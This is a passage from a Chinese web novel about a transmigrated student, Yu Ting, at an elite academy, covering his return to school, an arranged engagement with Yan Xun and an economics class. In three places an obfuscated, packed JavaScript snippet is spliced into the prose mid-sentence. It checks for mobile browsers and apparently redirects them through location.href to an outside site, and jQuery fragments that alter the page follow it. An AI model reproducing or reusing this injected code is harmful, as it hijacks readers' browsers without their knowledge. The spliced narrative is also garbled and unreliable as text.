这一切都被希莱尔尽收眼底。少年那张英俊的脸上闪过一丝扬眉吐气的神采,随即横跨一大步,身后那群风纪委员也紧随其后,挡住虞听的去路。 虞听阖了阖眼,轻吐出一口气。 返个校而已,过五关斩六将的。 “虞听。”希莱尔像一头带领狮群、昂首挺胸的年轻雄狮,傲慢又得意地拖着长腔,“你这个死板又病歪歪的家伙,居然这么快就回来了。” “如你所见,现在我是风纪部的部长。”希莱尔扬起下巴,冲虞听挑眉,“别以为回来了这个位子还会是你的。不过如果你说两句好听的,我倒可以考虑向学生会申请,给你预留一个宝贵的位置……” “不用了。”虞听说,“无官一身轻,也有利于我养病。恭喜你担任风纪部长。” 这次轮到希莱尔瞠目。身后的狮群宛如遭受晴天霹雳,难以置信地瞪着虞听,大气不敢出一声。 虞听视若不见,径直走上前。风纪部成员们面面相觑,最终纷纷向两侧让开一条路,犹如摩西分海。 希莱尔双拳攥紧,猛地侧身:“虞听!你——” 虞听停住脚步,也转过身。 少年身形颀长清瘦,而风纪部成员们个个人高马大,然而虞听站在他们中央却并没有任何气势被削弱的感觉,甚至毫无被包围的局促和紧迫。 如果希莱尔看起来像是领头的狮子,那么虞听则是波澜不惊的驯兽师。 虞听黑白分明的眼珠冷淡地望着他:“我和副校长约了见面,恕不奉陪,希莱尔少爷。” 说完虞听转身就走,没有给希莱尔一点回应的时间。 希莱尔嘴唇翕动两下,看着虞听走远,后知后觉地咬紧后槽牙。 虞听的背影如烧红的滚铁烙印在少年墨绿色的眼眸中。风吹起虞听制服外套下摆,隐约露出包裹在白衬衫下的腰肢,那腰身挺拔却纤细得不堪一握。 风纪部的成员们躁动起来。马后炮们围拢到希莱尔身边,有人嘴上义愤填膺,却止古怪地瞟向虞听的方向,不住吞咽唾沫: “这个虞听当自己是谁?他早就不是当初在风纪部肆无忌惮克扣我们操行分数的家伙了,拽什么拽!” “就是!一个高年级的小白脸,长得帅有什么了不起……” 希莱尔忽然触电般反手怼了某人一拳:“多嘴的家伙,谁准你在这说三道四?!” 那人被楔进人堆里,唯唯诺诺不敢吭声了。 希莱尔再次扭头眺望良久,直到虞听走进办公楼,身影消失不见。 他皱着眉小声喃喃:“脸色像死人一样……那些东西一口也没吃?莫非是不合口味……” 有人大着胆子问:“老大,‘那些东西’是啥呀?” 这次希莱尔不再像个暴君似的迁怒于他的小弟,他转过身面向另一个方向,摆了摆手,动作有些无力。 “都滚吧,”希莱尔说道,“我现在……需要一个人安静一会儿。” * “那位就是虞听学长?” 自习教室窗边。陆月章看着虞听走入办公区大楼,长吁一口气,转头对林抚笑道:“看来虞学长人缘真的很好,要不然也不会让风纪部长和尤里乌斯学长都亲自去迎接。不像我,处理不好人际关系,还总是给学长们添麻烦……” 他话音越来越小,最终哑口无言。 林抚死死盯着楼下,镜片后的双眸目光炯炯,颈侧浮起几道绷紧的青筋。 屋子里很静,以至于这位向来处变不惊的天才少年紧张沉重的呼吸都一声声清晰可闻。 陆月章怔住:“林学长?” 林抚如梦初醒般深吸口气,回头将陆月章从头一寸寸打量到脚,又回落在陆月章颈侧。 他的目光冷极了,陆月章被凝视得浑身不得劲,摸了摸脖颈:“学长你这么看着我干什么?” 林抚沉声:“你什么时候把头发留长的?” 陆月章摸了摸脑后扎起的半长发:“最近温习功课,没时间去理发……” “剪短。”林抚斩钉截铁打断他,“解题思路和提醒的话我都不会再说第二遍。” “可是我看虞学长他也……” “他是大病初愈的病人,你是什么?”林抚冷声问,“还有,我不喜欢自己辅导的学弟留着长发,又丑又邋遢。下次再让我见到你这模样,我会向年级主任申请取消一对一辅导。” 陆月章吃惊地看着眼前仿佛换了个人似的林抚,眼里充满陌生、不解与委屈。 但他只能强颜欢笑:“是,学长。” …… 几分钟后。 “小听!好孩子,上帝保佑,看到你回来我就放心了。” 副校长办公室内,红木地板与宽大办公桌泛着古铜色光泽,数万元的金属地球仪映照出锃亮人影,水晶吊灯灿若琉璃。 虞听淡淡微笑,与副校长握手,随后二人在皮革沙发落座。 副校长倾身倒了两杯红茶,拿起其中一杯递过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656382|188309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“在学校有任何困难都可以直接找伯伯,啊。” 虞听含笑接过,捧着茶托啜饮,修长双腿并拢,坐姿端正。 原书中虞家是每年都为赛罗米尔豪掷一千万元的荣誉校友,个人捐款的最大来源之一,副校长把金主孩子的位置摆得很清,虞听也乐得接受。 副校长笑呵呵道:“只不过学业方面的事,我和你父母商量了一下,现在想来征求一下你本人的意见。听说小听你从小身体就不大好,这次意外昏迷了三个月,说不定会有什么后遗症,就算没有,也要调养很久,我和你父母一致认为,还是先办理休学,新学期开学之后你和下一级的学生一起……” 虞听放下茶杯,拿出手帕擦擦嘴:“副校长先生,恕我不接受这个提议。即便是我父母的意思,我也不想留级。” “这怎么算是留级呢?好孩子,你要知道你落下了整整三个月的课程……” 虞听垂眸:“我不会落下任何一门功课的,我保证。” 副校长无可奈何地看着虞听。少年巴掌大的小脸苍白,长睫垂落,一副乖巧得让人心疼的可怜样,谁知态度不卑不亢的,格外难搞。 “我知道小听你心气高,但你要怎么把功课追回来?更别提按照原本的计划,你还要代表学校参加许多竞赛和学术活动……你父母正是怕你太用功,累坏了身子。”副校长劝道,“乖,别让你父母担心。” 虞听:“我明白您和我父母是为我好,但我想试一试。如果休学留级,我一定会成为赛罗米尔的校园新闻,我不想让自己成为议论的焦点。” 紧接着虞听抬起眼帘,轻声唤道:“布莱克伯伯。” 少年温软下来的嗓音让副校长愣了愣。 虞听对他眨眨眼睛,抿唇笑了笑。 “我不会为难您的,出了任何事情我自己担责。”虞听说,“拜托您了。” 副校长直勾勾地盯了他一会儿,靠在沙发里长叹一声。 “好吧,好吧!”男人下定决心起立,来回踱步,最后走到虞听边上揉了揉他头发,“伯伯为你破一次例……这学期的考试作为验收成果怎么样?我可是要对比你以前的成绩单的,退步太多,那就没得商量。” 虞听笑了,跟着站起身:“谢谢伯伯。” “多吃饭,让自己长胖点,瞧你这胳膊快和姑娘一样细了。”副校长拍拍他手臂,把虞听送到门口,“下午先回家休息,明天再来。千万注意身体!” 虞听点头与副校长道别,离开办公室。 他准备趁着午休时间去自己的教室看一看,忽然口袋里的手机震动起来。虞听看见来电显示是司机,接通电话:“怎么了?” “小少爷,”电话里司机说,“老夫人让我通知您,一会儿就不由我来接您回家了。十分钟后燕氏的车会在校门口等候您。” 虞听一瞬间茫然:“等等,燕氏,哪个燕氏?” 他语气中的困惑把司机也搞懵了:“哪个燕氏?……” 在斯宾特里忍着头晕脑胀浏览论坛时的只言片语从脑海中闪过,虞听刚要出言掩饰,听见司机疑惑地道: “整个首都奥林德哪还有第二个燕氏……就是和您订婚的那位燕寻少爷的家族燕氏啊!” 5. 第 5 章 傍晚时分,奥林德近郊,燕氏庄园。 劳斯莱斯魅影驶入被缓缓拉开的三米铸铁大门,轮毂碾过柏油车道上的晚霞,驶向暮色下的西式建筑。夕阳中的城堡尖顶如骑士浴血的剑,锐利却不失庄严。 魅影停在城堡外的草坪前。司机降下隔板,对后座的虞听道:“请吧,小虞少爷。” 虞听回以礼节性的微笑,待电动车门打开,侧身下车。 魅影在他身后悄无声息地离去。虞听看着宽敞得可以打高尔夫球的草坪,随后转身仰头,将恢弘典雅的巴洛克式城堡尽收眼底。 门口的男仆已经恭候多时。见虞听抬头观望,良好的职业素养告诉他此时不该上前打扰客人雅兴,于是驻足负手而立。 眼前的客人穿着工整合度的西装制服,领带熨帖,剪裁利落的衣装线条与刀裁般的衬衫领口勾勒出青年劲瘦利落的身形,与青年立挺的五官线条相得益彰,偏偏落日熔金,在对方侧颊洒下暖意,中和了过分清冷的黑白色调。 二十岁是一个很微妙的年纪。年轻人褪去顽皮幼稚,穿上大人衣装,扮起大人模样,骨骼柳条般抽芽飞长,背影显出男人轮廓,只是一颦一笑间青年青涩常常露馅,藏不住神采飞扬。 但直觉告诉男仆,这位年轻的客人,似乎不大一样。 “小虞少爷,请跟我这边来。” 见虞听收回目光,男仆立刻上前,欠身致意。 男仆说:“燕寻少爷刚去替老爷送客,稍后就回来。我先带您去餐厅。” 虞听点头,自然地伸出手来:“有劳。” 男仆怔了一秒,调整出最佳弧度的微笑,伸手握住虞听的手。 “分内之事,小虞少爷。”男仆说。 虞听的手温度很低,却并不冷,以男仆浅薄的知识来形容,就像是冬天从皑皑雪堆里挖出的一块玉,薄凉但不刺骨,你恨不能用自己的手把玉芯儿捂热了,便能握住那温软玉润。 他们松开手,男仆恭敬地领着虞听进门,前往餐厅。巴洛克式的建筑内部也是金碧辉煌,而这座数百年的城堡洗尽岁月铅华,曾经繁奢的装潢也已沉淀出气度不凡的沉笃尊贵。 穿过八米挑高的门厅,虞听跟着男仆进入室内的温室花园。男仆在他前头提醒:“餐厅就在前面。” 虞听嗯一声,面上淡淡的,心里却思绪万千。 并不是被百年贵族老钱的府邸所震撼。 真实原因,其实是不久前他和祖母的那通电话。 电话里虞听还是没忍住向祖母质问,得到的却是老人家轻飘飘的一句“小听的父母亲都不在奥林德,我一把老骨头又不能照顾大病初愈的小听,当然要找个靠得住的人替我照料你”,话里话外,对这个从天而降的联姻家族燕氏十分放心满意。 没错,狗血小说的世界,怎么能没有贵族联姻这种好戏?拜祖母所赐,虞听倒是想起来原书中的自己确实和燕氏有过婚约,不过这个恐怕作者自己也忘了的闲笔随着“虞听”一命呜呼,最后也不了了之。 只是他才刚穿进来十天,什么都没摸清楚就要面对素未谋面的未婚夫,万一穿帮了怎么办?只见过坑爹,没见过祖母坑孙子的…… 罢了,见招拆招,先挨过这顿晚饭再说。 虞听压下心底飘过的无数弹幕,面不改色地随男仆进入餐厅。长桌上已经大小纯银碟盘和香槟杯强迫症一般整齐对称排列,紫罗兰花束点缀长桌正中央,七八个仆人管家男女老少站成一排,整齐鞠躬。 再怎么做好心理准备,虞听还是不免吓一跳:“各位,不用这么正式。” “不,这是必要的礼数。”一个声音说。 虞听转过身,所有管家仆人纷纷转向声源方向,鞠躬低声道:“少爷。” 他看见一个青年站在餐厅门口。对方长着明显的东方面孔,却高鼻薄唇,眼窝深邃,眉目浓黑,一身黑色三件套西装包裹下的身材高大,结实的肌肉撑起宽阔肩线,那是个明显有着运动习惯和锻炼痕迹的矫健身材。 他们对视片刻,对方将臂弯里的薄风衣往身侧一递,立刻有人接过,退到原位。 青年对虞听点头:“晚上好。” 虞听笑笑:“晚上好,燕少爷。” 燕寻走到长桌的一侧,自他经过处,所有仆役如出巢的蜜蜂,立刻走向各自的岗位开始有条不紊地工作,有的将盘子上的保温罩撤走,有的为二人拉开椅子。 “叫我燕寻就好。”燕寻示意虞听先落座,而后坐下,用银匙轻敲香槟杯,“无论对内还是对外,我们都应当以姓名相称。” 虞听把纯白餐布铺在大腿上。他察觉到二人短暂对话中的矛盾。 “作为客人,我应当称您一声少爷。”虞听说,“如少爷刚刚所说,这些都是必要的礼数。” 燕寻看着他。他的眼神很专注,但青年生了一张冷峻的脸,因而毫无情绪的凝视也极易被大多数人解读出压迫。 “今天是你第一次到访庄园,本应该由我在门口迎接。但家父公务繁忙,让我代为送客,这本就是有所怠慢,如果庄园的人再不重视,就是失了规矩。” 仆人为二人斟好香槟,燕寻举杯:“放心,这是我的管家专门安排的低度数香槟,病人也可以饮用。听说你刚出院,这杯敬祝你身体健康。” 虞听没说话,晃了晃香槟杯,二人隔空示意,各自抿了一口,将酒杯放下。 仆人将前菜送至虞听面前,虞听用刀叉一块米其林摆盘的帕尔马奶酪配海鳌虾片。餐桌上一时很安静,只剩下细微的咀嚼声。 “非常美味。”他评价道。 燕寻放下叉子:“虞听,你看起来有些拘谨,像个客人。” 虞听轻哂:“不是这样吗?” “当然不是。未来这几个月里你不需要一直这么紧张,这不利于你的疗养恢复。” 虞听的笑容僵住:“未来几个月?” 燕寻:“你家里没有告诉你吗?你我订婚契约存续期间,你会一直住在这儿,直到婚约取消。” 虞听皱眉。新的仆人上来,将主菜呈上,他看也未看,紧盯着燕寻的眼睛,薄唇抿紧。 “我的确不知道这事。”虞听说,“这一定是祖母的主意……” 他深吸了口气,正襟危坐:“燕少爷,老人家从小对我比较溺爱,这次她让我暂住燕氏,拜托你来照顾我,实在多有叨扰,也考虑不周。我家里不缺人照看我的饮食起居。把她的话都忘了吧,吃完这顿饭我就会回家,绝不多逗留。” “这恐怕不行,你的行李已经在四十分钟前送到二楼套房了。老人家和我父母打了招呼,这事已经定了,就像当初我们的婚约一样。”燕寻说。 虞听脑子里嗡嗡直响。但他敏锐地察觉到,提及婚约时,燕寻波澜不惊的语气里总是漾起一丝异样情绪。 “先吃饭吧。”燕寻说。 “不,”虞听正色道,“燕少爷,聊聊我们婚约的事。” 燕寻倒也不推辞,他挥手让仆人把所有菜上齐后退出餐厅,接下来的话仿佛已经酝酿了很久,由肺腑自然流出: “你知道的,虞听,我比你高一年级,你的优秀我有所耳闻,也向来钦佩。你我这种家庭里联姻的确司空见惯,可现在时代变了,这种人生大事不该像交易一样促成,我想以你的品性与见地不会否认这种观点。” 虞听:“你想取消婚约。” “我想以一个不伤害所有人,也能够让双方家族不失体面的方式,在合适的时间让婚约理所应当地结束。”燕寻措辞十分考究。 虞听哦了一声:“我洗耳恭听。” 燕寻短暂地笑了一下:“我还有一年就要从赛罗米尔毕业,那之后我会进入伊斯特芬军校,这种培育高级将官的学府是不允许单身学员有婚约在身,那样会消磨他们在战场上的勇气和意志。” “在此之前,我代表燕氏欢迎你来庄园养病,你尽可以把这里当成自己的家,不必客气。相信等到时机成熟之际,你将以一个彻底自由、健康的面貌离开庄园,而那以后,小虞少爷,我们一定会成为很好的朋友。只不过……” 虞听终于明白了。 “我明白,”虞听颔首,“我们既需要在所有人面前共同生活,同时也要注意分寸,注意‘必要的礼数’。不能逾矩,不能互相干扰。” 燕寻眉眼微微下压,敛去笑容,黧黑双眸目光凛冽。 良久。 虞听一声轻笑,如一锤定音。 “没问题。”他语气轻松,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656383|188309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不如说这正合我意。别说婚约了,我现在恨不得远离所有的——麻烦人麻烦事。我们一言为定。” 燕寻表情微不可查地松懈下来,但也只是一瞬,随即他露出一个看起来比方才真心了许多的微笑:“多谢。说实话,在这之前我担心过你会把这个提议看做是对你的一种羞辱。是我以小人之心度君子之腹了。” 虞听垂眸一笑:“哪里的话。这段时间希望我们合作愉快。” 燕寻再次用银匙敲击香槟杯,仆人们鱼贯而入,燕寻道:“给小虞少爷一份新的——” “不用了,”虞听摆手,“主菜我有点吃不下。甜品是什么?” 他忽然转头,离他最近的一个女仆愣了一下,赶忙回身从后厨推出一辆小餐车:“小虞少爷,有各种口味的慕斯蛋糕,您想要哪块?” 虞听捏着下巴,表情渐渐严肃,白皙修长的指尖在众多小蛋糕里游荡一圈:“唔,这块开心果的吧,不,等等,那个巧克力的……” 他看向女仆:“可不可以把其中几块送到我的套房?” 女仆怔住:“呃——当然可以。” “那我要这块开心果的,树莓和巧克力味的麻烦过一会送到房间,谢谢。” 女仆把蛋糕端到虞听面前。虞听叉下一小块蛋糕尖尖送进嘴里,眯起眼睛,像一只晒到太阳的猫咪。 “恐怕我们做不了朋友了,燕少爷。”虞听说,“离开燕氏庄园后我要做的第一件事就是把这位西点师挖走。” 燕寻还是那副捉摸不清的冷淡表情:“只要婚约顺利解除,这些都不在话下。” 虞听吃下第二口蛋糕的同时哼了哼,说不上配合还是敷衍。燕寻起身:“我还要去准备伊斯特芬的考试,就先失陪了。小虞少爷,把自己当成庄园的主人,这里一切自便,所有人都听你差遣。” “除你之外。”虞听叉子朝他点了点。 燕寻一边眉毛动了动。他几乎为青年如此“着道”而惊叹了。 “没错,”燕寻最后道,“愿我们恪守边界,相安无事。晚安。” 他离开了餐厅。 虞听优哉游哉地继续享用甜点,苍白面上久违地浮起血色。管家上前:“小虞少爷,您有什么需要可以跟我说。” “还真有,”虞听意犹未尽地吃下最后一口甜点,“一会儿你会收到一份书单,我需要你马上帮我购置齐全。今晚我要预习功课。” “听少爷说您大病初愈,今天晚上是不是洗个热水澡,早些休息比较好?用功是好,可未免太耗费体力……”管家惊讶。 虞听摇摇头,把餐布撤去,也站起身。 “不用担心。”他对白胡子管家微微一笑,“我还有两块小蛋糕呢。” * 燕寻走到楼梯旁,手已搭上扶手,忽然想起什么,侧身看向下方的几个仆人。 “谁负责今晚的菜单?”他问。 最开始领着虞听进门的那个男仆站出来:“少爷。” 他面部肌肉发紧,以为自己做错了什么,可燕寻只是扫了他一眼,转过身上了楼。 男仆长舒一口气。待燕寻身影消失在上层楼梯口,其他仆人也如断线木偶般软下来,紧接着纷纷围到男仆身边: “这位虞听就是燕寻少爷的未婚夫?” “喂,安珀罗斯,只有你和小虞少爷接触过,这人怎么样,你倒是说说呀!” 安珀罗斯揩去汗珠,闭上眼睛,努力回忆。 数双眼睛一眨不眨地盯着他。 “他是个……”许久,安珀罗斯挤出几个词,“很成熟的青年。” “嗐!” 众人泄气,一个女仆用力拍打他后背:“他才二十岁!别卖关子,说点靠谱的行不?” “我说真的!燕寻少爷不也才二十一岁,可照样有着超越同龄人的稳重不是么?”安珀罗斯急得辩解,“但他们不一样,燕寻少爷让人看不透,而小虞少爷……他的灵魂仿佛就不是二十岁。而且小虞少爷人很温柔……” “很温柔?为什么怎么说?” 安珀罗斯沉思片刻,举起自己的右手,摊开手掌。 “大概因为他愿意主动向一个不起眼的男仆握手吧。” 他不好意思地笑着说。 6. 第 6 章 “Before class begin,让我们先欢迎一位同学回归经济学课堂,大家掌声欢迎!” 清晨八点半,赛罗米尔第一教学楼,经济学选修课堂。 教室响起热烈的掌声。虞听从靠窗第三排起立,转身面向整个教室欠身,随后向讲台上的教师鞠躬:“谢谢您,路薇娅教授。” 同学们目光热切,诚挚地用力拍着巴掌,隔了两排斜前方的陆月章也不例外,他戴着一顶发旧的贝雷帽,遮住了发型,弧形帽檐同样挡住他的眼睛,叫人看不清他的表情。 某一瞬间陆月章的嘴角微微抽动,但那仿佛被微风吹皱的湖面,很快归于平静。 然而教室里有两人并未鼓掌迎合这气氛。 一个是靠墙第一排的希莱尔。碍于家族情面,学校特意把第一排的好座位留给希莱尔,原意在委婉劝学,但这并不影响欧文家的少爷大喇喇地蹬着椅子大马金刀地侧坐,像将军检阅小兵一样巡视整个教室。 另一个则是林抚。他坐在正后方靠窗倒数第二排,骨节分明的手指见细长钢笔簌簌转动,而青年紧盯着虞听单薄的背影,反光镜片模糊了锐利眉眼间的神色,嘴唇紧抿。 虞听全然未觉般落座。 他特意选了这个最前排角落的位置。原书中这门所有年级都能选修的经济学课程可是个充满硝烟味的舞台,学神、校霸和阳光奋进主角小太阳济济一堂,其他人或许等着看好戏,但虞听只嫌打起架来血溅自己一身。 “Let''s continue with the content……(让我们继续上次的内容)” 沙沙的翻书声,虞听跟着翻开课本。 原书中华、英双语是这个架空国家的共同官方语言,赛罗米尔自然也是一所双语授课的贵族学院。校内学生东西方人种构成大概四六开,虽然平时沟通更多以华语为主,但西方人种的学生私下还是以英语作为第一母语,出身良好的东方人种家庭也会让孩子从小接受双语教育。 台上老师滔滔不绝,虞听抽空瞭起眼皮,果然看见陆月章耳根发红,盯着课本,明显手足无措。 这就是了,虞听想。 原书中的陆月章自然不会被设定成真的笨蛋,但他出生于贫民区,从小没接触过英语,导致明明不难的课程到了他这里都会因为英文授课而卡住,成绩一落千丈,甚至到了退学边缘。 对于这位命运多舛的主角,虞听感到很抱歉,但现在的自己也正为了不被休学而无暇他顾。 他摇了摇头,重新将注意力集中在授课内容上。 就这么相安无事地过了半小时,讲台上路薇娅教授突然放下课本,用一口流利的英文道: “各位同学,谁来回答一下刚刚这个问题?” 即便是贵族学院,学生们也难改逃避提问的本性,众人纷纷低下头,饶是靠墙坐得像个大爷似的希莱尔也清清嗓子,放下翘着的二郎腿。 路薇娅教授的目光扫了一圈:“so……陆同学?” 陆月章咬了咬牙,慢吞吞起身。希莱尔发出一声明显的嗤笑,抱着胳膊,陆月章支吾半天,脸色慢慢涨红。 “I…Sorry madam,”陆月章不好意思道,“我,我可以用华语作答吗?” 教室里回响起一片低笑,其中希莱尔笑得最大声:“得了吧陆学弟,瞧你I来I去半天,还以为你有什么高论呢!快坐下吧,别耽误大家的时间行不行?” 虞听单手扶额,默默在心里叹气。 希莱尔这嚣张的样子倒是提醒了他。虞听依稀记得,书中这堂课上陆月章因为英文不熟练而遭到希莱尔公然嘲笑,但却因为陆月章用华语做出了正确答案而被当众打脸,课后又气不过将人堵在走廊找场子。等到剧情后期,希莱尔没少为当初自己的猖狂付出沉重的“追妻”代价。 指望在狗血小说的学校里学到东西果然还是太天真。看这架势,后半堂课怕是要废了。 虞听默默翻开书,集中精神准备自习。与此同时,他听见陆月章做了个深呼吸,像原书中写的那样慢慢镇定下来,道出答案。 果然,一向和蔼的路薇娅教授微笑道:“Good,陆同学,思路非常清晰,看来这段时间你的确用功了,值得表扬。慢慢来,英文基础不好在特招生里算是常见的事……” “教授,您不是在开玩笑吧?”希莱尔高声打断路薇娅教授的话,“林抚已经为陆学弟补习了整整三个月的英文,他的水平早该能用英文作答了。林抚你说是不是?” 路薇娅教授无奈,却还是下意识将目光投向最后排的林抚。看向这位尖子生时,教授的态度不自觉地温和下来:“林同学,是这样吗?” 半天没有回应,路薇娅教授又唤了一声:“林抚同学?” 啪的一声,钢笔掉到桌面,林抚恍然回过神,把视线从正前方虞听那长到盖住后颈的黑发上挪开。 林抚喉结动了动,嗯了一声。 “是,教授。”林抚回答。 所有人都惊呆了。陆月章难以置信地抬起头,连虞听翻书的动作亦是一顿。 不对。 原书中林抚分明应该在此时不情不愿地为陆月章说上一句公道话的……怎么反而会给他难堪? 这下连路薇娅教授也怔住,附近的同学都看出林学神刚刚是心不在焉,下意识顺口回答罢了,可谁会做指认学神上课溜号这种天方夜谭的事? 倒是希莱尔满意极了,他手肘大喇喇地支在后座桌面,对自己这位好兄弟挑眉,继而看向林抚:“看见了吧,学弟,人家林抚都说你早就应该适应全英文授课了。” 陆月章窘迫地低头:“抱歉,教授……” 路薇娅教授摆摆手:“罢了,下次注意……well,下一个问题,让我看看——虞听同学?” 她看向抬头与自己对视的虞听,特意微笑着补充:“课后的第二个问题就请你来解答吧。你三个月没来上课,很多经济学的术语或许还没掌握,这次就也先用华语作答好了。” 虞听一言不发地起身。希莱尔虽然成绩垫底,架不住气势指点江山,看见虞听被点名,墨绿色瞳孔里闪过一丝异样的兴奋,青年坐姿不羁,衬衫最上面扣子解开两颗,露出修长有力的脖颈,领带松垮搭在宽厚胸口,交叠长腿差点伸到邻座同学椅子下方。 倒是最后排的林抚忽然动了动,抬起手:“教授,这个问题我想……” “不必了,”最前排传来一口发音地道的英文,“我可以用英文作答。” 林抚举起的手,希莱尔的笑容同时停住。 虞听在教授和整个教室惊讶的注视下,淡淡开口:“关于碳定价政策是如何影响跨国企业技术创新效率的问题,我想援引奥林德的现实数据为例。仅仅去年一年……” 教室里鸦雀无声,只剩下虞听平缓的、有条不紊的讲述,那青年特有的嗓音清冷而不失磁性,每个英文单词经由虞听之口道出,都宛如诗歌般咬字优美。 “……以上就是我的全部看法,谢谢教授。” 语毕,教室里寂静了几秒。良久,前排的陆月章转过身。 “学长三个月没来上学,还能作答得如此流利,”陆月章有些艰难地对虞听露出一个微笑,“实在是……我学习的榜样。” 路薇娅教授终于忍不住带头鼓掌:“Perfect!虞同学不愧是赛罗米尔的优秀学子,阔别校园这么久还能发挥出色,真让老师感到欣慰!” 虞听真诚地笑笑:“您过奖了。昨晚预习过而已。” “谦虚的品质,正是赛罗米尔学院最看重的精神!”路薇娅赞叹。 教室里第二次掌声如潮。后排的林抚目不转睛地盯着虞听,青年清俊如傲雪松枝,立于窗前的背影落在他眼中,遗世而独立。 虞听听了教授的称赞,无奈苦笑。上辈子为了工作苦练过英文是真的,昨晚挑灯夜战也是真的,谁知道学院这些神人要么聪明到不用学要么压根不学习,竟然连预习这种操作都要大惊小怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656384|188309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 他刚要就座,忽然身体一颤,下意识扶着桌沿稳住身形。 细微的战栗没有引起任何人发觉,却听见教室另一侧希莱尔拔高声线:“虞听!” 这一嗓子顿时吸引了所有人的主意,路薇娅教授到底细心,率先发觉不对,上前扶住虞听后背:“是不是不舒服?先去校医院看看……” 希莱尔收起吊儿郎当坐姿就要站起来:“教授,我是风纪部部长,我送——” 虞听低头挨过一阵耳鸣,摆摆手:“应该是站久了,不要紧。” 希莱尔动作僵住,半晌悻悻然一屁股坐回去。路薇娅扶着虞听坐下:“有任何不适立刻向我报告,知道吗。” 虞听揉着太阳穴,颈侧泛起薄汗,唇瓣抿紧。他隐约感觉到许多目光射向他,但本着多一事不如少一事的原则,他还是轻轻一笑以作宽慰。 “我会的,多谢教授。” 虞听礼貌地说。 * 下课铃响起,学生们涌出教室,虞听已经从头晕乏力中缓过来不少,收拾好东西起身,恰好看见陆月章抱着书本匆忙钻出门外。 想起那位校霸堵人的场景,虞听决定在教室避一避为妙,然而等了两三分钟,人都走光了,走廊里希莱尔那不怀好意的声音始终没有传来。 难道希莱尔没有找陆月章的麻烦? 虞听修眉微蹙,走出教室。 作为主角攻,希莱尔可是个无事也登三宝殿的主儿,怎么会突然想要放人一马? 走廊脚步声变乱,原来是隔壁教室的高年级学生也到了下课时间。 人流逐渐密集,其中不乏许多向虞听投来的目光,虞听抱着书本侧身躲过,忽然感觉到什么般抬起头。 无数穿着相同的赛罗米尔学院校服的学生中,一个高大身影与他擦肩而过。 虞听下意识脱口而出:“燕——” 话音未落,燕寻已目不斜视地从他身旁走开。仿海军制式的制服穿在这位立志从军的青年身上,让他看起来更加沉肃而冷俊。 虞听停住脚步,目送燕寻像素不相识的陌生人般离去,眯起眼睛。 装作不认识么…… 虞听勾勾唇,一只胳膊夹着书本,另一手拿出手机,细长手指快速盲打一行字,编辑发送。 【就这么怕其他学生知道我们订婚的事?】 发完消息虞听继续走,刚走下楼梯口,手机震动,发信人显示【燕少爷】: 【你怎么知道我的私人号码?】 虞听故意晾了两分钟才回复:【你的仆人安珀罗斯给我的。既然同住一个屋檐下,就有在某些时刻知会对方行程的必要。】 燕寻这次回复得很快,也非常干脆: 【既然婚约总要取消,就不必让更多人知道,不然在校内还要当着同学的面做戏。】 【以及,没必要“知会”。我们说好井水不犯河水,你越界了。】 虞听看着短信,呵笑:“真是个把边界感看得比天都重要的臭屁少爷。” 青年的身影消失在楼梯下方。没过多久,走廊拐角一个身影如融于黑夜的鬼魅悄然现身,墨绿瞳孔泛着孤狼般的光。 一个戴着风纪袖章的狗腿子从他身后探出半个脑袋:“部长大人,您消消气,今天算姓陆的溜得快,放学我一定把他叫来体育馆!” 希莱尔磨了磨牙,头也不回:“谁告诉你我在等他?” 狗腿子讪笑:“哦、哦,抱歉,这段时间您每天都在堵——我是说教训那个姓陆的,我还以为……” 希莱尔舔了舔犬齿:“喂,你有没有听说过虞听和四年级的燕寻有什么关系?” “这我还真不清楚,部长大人,不过传闻虞家一直想和燕氏进行政治联姻……可谁会和一个‘病美人’过一辈子呢?” 狗腿子阴阳怪气,却没看见希莱尔眸光一动,慢慢垂下眼帘。 病美人。 这位病美人,就真的愿和燕氏的少爷过一辈子吗? 7. 第 7 章 翌日,赛罗米尔校园论坛app。 某条帖子正成为学生们如火如荼讨论的主战场。 【感觉到了吗各位?最近赛罗米尔的气氛大大的不对劲哦~】 【我错过了什么?前排吃瓜!】 【前排吃瓜+1】 【lz别卖关子了,快点说啊!】 【好吧好吧,其实也没什么实锤啦,不过你们难道不觉得,自从三年级的虞听学长返校之后,某些“焦点人物”们行为越来越反常了吗?】 【是哦,虞听学长回来那天,整个风纪部都倾巢出动,不知道的还以为□□炸街……但据说虞听学长连看都没有看风纪部一眼,我的天,简直帅炸了好吗!不愧是曾经的风纪委员大人,王者归来气场依旧!!】 【咳咳,提醒ls,倾巢出动这个词好像不是这么用的……】 